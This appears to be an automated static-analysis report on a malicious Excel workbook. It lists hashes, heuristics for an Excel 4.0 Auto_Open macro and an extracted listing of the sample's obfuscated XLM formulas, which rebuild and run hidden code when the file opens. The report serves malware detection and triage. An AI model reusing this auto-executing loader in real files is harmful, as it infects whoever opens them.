Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cb02d4cfe7793036…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:24:41 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 0c45431d232374bebf71cdec67ffd6a9 SHA-1: da814ad4190f59b7c93c7a02fc34831db09192e0 SHA-256: cb02d4cfe7793036acd01ce1b83ed14ca37aac5edb62690d991110e4312aca12
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6491 bytes
SHA-256: 75ca4de4c9aede30783f2b2d979a75e295acd0fd49bc86f70f83202de9d78446
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KlqF
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G178 
' 0018     22 LABEL : Cell Value, String Constant - bEQkSxt len=0 
' 0018     22 LABEL : Cell Value, String Constant - BTpaXlX len=0 
' 0018     24 LABEL : Cell Value, String Constant - ByqgIqyEv len=0 
' 0018     27 LABEL : Cell Value, String Constant - CdSQIygJhamF len=0 
' 0018     23 LABEL : Cell Value, String Constant - CQdGvSXo len=0 
' 0018     25 LABEL : Cell Value, String Constant - GMpdmUYQhg len=0 
' 0018     23 LABEL : Cell Value, String Constant - jJVpUhmu len=0 
' 0018     26 LABEL : Cell Value, String Constant - KYsEINYHVoF len=0 
' 0018     24 LABEL : Cell Value, String Constant - MSUtLzAiO len=0 
' 0018     27 LABEL : Cell Value, String Constant - nlUJehmZOfxE len=0 
' 0018     23 LABEL : Cell Value, String Constant - OfQOJgqu len=0 
' 0018     21 LABEL : Cell Value, String Constant - olnkdE len=0 
' 0018     24 LABEL : Cell Value, String Constant - OTctXlYgl len=0 
' 0018     21 LABEL : Cell Value, String Constant - PfyEMa len=0 
' 0018     27 LABEL : Cell Value, String Constant - tYuWRICFLLmg len=0 
' 0018     27 LABEL : Cell Value, String Constant - UMQZLYgqiXwt len=0 
' 0018     22 LABEL : Cell Value, String Constant - UquqJoe len=0 
' 0018     22 LABEL : Cell Value, String Constant - WnSZncH len=0 
' 0018     23 LABEL : Cell Value, String Constant - XFASTXdJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - YVkBjEiytPF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KlqF,G102,"SET.NAME("PfyEMa",VALUE("0"))",""
'  KlqF,G105,"SET.NAME("jJVpUhmu",PfyEMa)",""
'  KlqF,G109,"SET.NAME("tYuWRICFLLmg",PfyEMa)",""
'  KlqF,G112,"SET.NAME("bEQkSxt",COUNTA(olnkdE))",""
'  KlqF,G115,"SET.NAME("UquqJoe",COUNTA(CQdGvSXo))",""
'  KlqF,G118,[],""
'  KlqF,G122,"SET.NAME("CdSQIygJhamF","")",""
'  KlqF,G127,"jJVpUhmu",""
'  KlqF,G130,"SET.NAME("YVkBjEiytPF",HLOOKUP("*",olnkdE,jJVpUhmu,FALSE))",""
'  KlqF,G132,"nlUJehmZOfxE",""
'  KlqF,G137,"SET.NAME("OTctXlYgl",PfyEMa)",""
'  KlqF,G139,[],""
'  KlqF,G141,"OTctXlYgl",""
'  KlqF,G144,"ByqgIqyEv",""
'  KlqF,G147,"KYsEINYHVoF",""
'  KlqF,G150,"MSUtLzAiO",""
'  KlqF,G155,"SET.NAME("WnSZncH",VALUE(HLOOKUP("*",CQdGvSXo,MSUtLzAiO,FALSE)))",""
'  KlqF,G157,"GMpdmUYQhg",""
'  KlqF,G159,"CdSQIygJhamF",""
'  KlqF,G161,"tYuWRICFLLmg",""
'  KlqF,G165,NEXT(),""
'  KlqF,G167,"BTpaXlX",""
'  KlqF,G170,"SET.NAME("f",INT(T(FORMULA(T(CdSQIygJhamF)&"",""&T(BTpaXlX)))))",""
'  KlqF,G172,"OfQOJgqu",""
'  KlqF,G174,NEXT(),""
'  KlqF,G176,RETURN(),""
'  KlqF,G206,"SET.NAME("UMQZLYgqiXwt",G102)",""
'  KlqF,G210,"olnkdE",""
'  KlqF,G212,"SET.NAME("CQdGvSXo",R72C15)",""
'  KlqF,G214,"SET.NAME("OfQOJgqu",222)",""
'  KlqF,G217,"SET.NAME("XFASTXdJ",7)",""
'  KlqF,G221,UMQZLYgqiXwt(),""
'  KlqF,G222,HALT(),""